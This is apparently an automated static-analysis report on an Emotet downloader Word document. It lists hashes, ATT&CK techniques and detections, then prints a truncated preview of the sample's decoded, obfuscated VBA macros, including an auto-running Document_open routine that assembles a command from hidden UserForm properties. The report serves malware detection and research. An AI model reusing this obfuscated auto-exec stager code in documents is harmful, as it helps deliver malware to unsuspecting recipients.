Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6ebd548148923b71…

MALICIOUS

Office (OLE)

201.0 KB Created: 2019-12-18 22:37:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 274c2e9993d8f7698604f05b2d0b4b04 SHA-1: e673613708ab4d1acc7aeb6c5bd55bc8103b4f4b SHA-256: 6ebd548148923b71c1dcbb49552cd76e566b754a207ea86e8a29aa2b970f400c
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Microsoft Office document containing VBA macros. Heuristics indicate a 'Document_Open' macro that uses 'CreateObject' and a hidden UserForm to execute a command stager. ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-7465433-0', a known downloader variant of the Emotet family. The VBA macro is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7465433-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7465433-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11191 bytes
SHA-256: a2afebbf4035cf40230affd3cf1b880e92365fcd4a5f095b9ac94e24e518c63c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Rhntsrtrxc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Bjhgntrf, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Vorxdpaozqavw = Mcakugactkkhm
Vzyfoptzbisv = 422
Ohrvahfotysum = ("Ad.")
Sinxhuawrlj = (265)
Dim Ybcljgfc As String
Dim Mjmgfamtdv As Boolean
Dim Afxkbnlzkr As Boolean
Dim Qrwhlfsl As Integer
Dim Bnuouwfrfwqpa As Boolean
Dim Yfrrtbuvkqn As Double
Dim Hydajedkq As Double
Puslrlarzunz = (598)
Dim Fvgsjxgszjht As Double
Wtcityczi = ("Laudantium neque.")
Yqweluzc = (772)
Dim Ixsgomxu As Double
Yvtugreg = Gmwplhjnopiq
Nvkbemfe = Ecwcyuqtb
Wbcvhcjgtvhnq = "Donnie"
Gcbpmcmqki = 967
   Lrfijoeaggk = Rotsdiwk
Sujxdtdgj = 550
Ckfetprtbr = ("Ducimus.")
Knxxlawxgjm = (801)
Dim Aqahdaafspe As Boolean
Dim Ktfqanogyjg As Double
Dim Fnadsxrqsyqm As Double
Dim Disysjwqdsq As Boolean
Dim Yhbhulluneowh As String
Dim Rupdcwkxglnmv As Integer
Dim Hmkysjrrwa As Boolean
Qddbkmyyjcngc = (757)
Dim Vvgyqedxcm As Integer
Pactcqau = ("Armando")
Jdzxqafz = (513)
Dim Ezwvpcwrmgbob As String
Ygjkpbtpsl = Todrdinypegda
Inbubqosuv = Tlkdjmcddjo
Nksuzgjvt = "Omnis fugiat repellat sunt ea et dolor aliquam."
Rrbjevjw = 218
   Pllkaibkpey = Nqmyuysvb
Hqqfytqnhocmn = 690
Vtxsatplzxcf = ("Officia neque minima dolores voluptatem commodi impedit minus dolor.")
Ftotpdksvmvn = (107)
Dim Skdydbcz As Double
Dim Rcreqivom As Integer
Dim Uotyrjdx As String
Dim Nintpteccpfvf As Boolean
Dim Lfbnrhapzx As String
Dim Zlrzcnldtd As Boolean
Dim Orlkfwzj As Boolean
Gdbjupmsov = (636)
Dim Erkqdiuysh As String
Zzwqkdym = ("Corrupti aut est numquam odio voluptatum ab et esse qui.")
Eoystwrapph = (767)
Dim Uzpsqpstzj As String
Utwilxhoqm = Kpyhsrfstmbr
Ixbuffxiyc = Eraqwhcxiarl
Ehqhremap = "A quaerat harum vero est."
Whrtcrvmzmn = 576
Mflhffxr
End Sub

Attribute VB_Name = "Azlqakjcydxg"
Attribute VB_Base = "0{04B96353-2EDB-4E8E-9FE6-C4ECC03C644C}{66FA6D43-8EB5-4D73-BDD5-5EFA94EAA622}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Wuxtpvzkltoac"
Function Ghtuhnrks()
   Pvcmvzkimx = Oieiscufaa
Utsbresp = 873
Fhbcrtjuxui = ("Eum est eum doloribus eveniet odio.")
Efhkivuios = (826)
Dim Chjqhfaladwg As Integer
Dim Awgciuqinv As Integer
Dim Juefqodkomae As Integer
Dim Itkbjbuxuyc As Integer
Dim Dbuungnwfg As String
Dim Hdfwovbmtm As String
Dim Mmizmagdfeziu As Boolean
Ycscmpobyo = (185)
Dim Cayqrewhb As Boolean
Jfarhddwcwj = ("Consequatur ea magnam quaerat iure ad possimus cupiditate.")
Bjkixlkkmu = (713)
Dim Goiexkla As Double
Xmygyvsxit = Oitojpmcxkw
Ousfmxcv = Yjrnpsplkf
Zkiavoml = "Debitis."
Jfjaarwvusv = 93
Ibvrfxih = Rhntsrtrxc.Bjhgntrf
   Hkacevdpqeb = Ukltghcm
Zcgkkdkpjfq = 671
Qheauutnqtcom = ("Ann")
Cvxdvxaaxl = (536)
Dim Fosukdnulb As Integer
Dim Ssajidvyi As Double
Dim Nhnvyqhgoa As Integer
Dim Yyzslyaybop As Double
Dim Xrrtqvce As Integer
Dim Mwhpdeush As String
Dim Bkjljahcl As Integer
Csbzpmyfgjwu = (296)
Dim Ejwugwhbyvgh As String
Vvcqftton = ("Ad voluptatem ipsam molestiae consectetur eaque aliquam nulla sint ipsa.")
Hucdufqwqfr = (137)
Dim Fclbufsie As Integer
Khgotbpvsg = Fydqplsb
Ulcisthmgc = Snybdopvsbga
Rpcwmqfa = "Voluptate itaque."
Mlivogawzmgq = 431
Gtfqluiv = Ibvrfxih + Azlqakjcydxg.Rgyjaynpb + Azlqakjcydxg.Cjbyizlpqtlq + Azlqakjcydxg.Hbjzmnix
   Imalqkenv = Kqzloufdvk
Sbcxyggikasgl = 321
Ngqmlnpjduv = ("Quo quo sed illo.")
Bbsvgoijnnfhp = (896)
Dim Kxsaxesx As Integer
Dim Qkcryddnjgjix As Boolean
Dim Igzslewopzgbv As Boolean
Dim Jdnxpdfrpkcu As Boolean
Dim Rbzsdpysetsu As Boolean
Dim Ssbhsrxfuz As Double
Dim Cokijkrwyxgi As Integer
Tqzufvhtz = (810)
Dim Ucnulhzik As Integer
Hwkhdzoumt = ("De
... (truncated)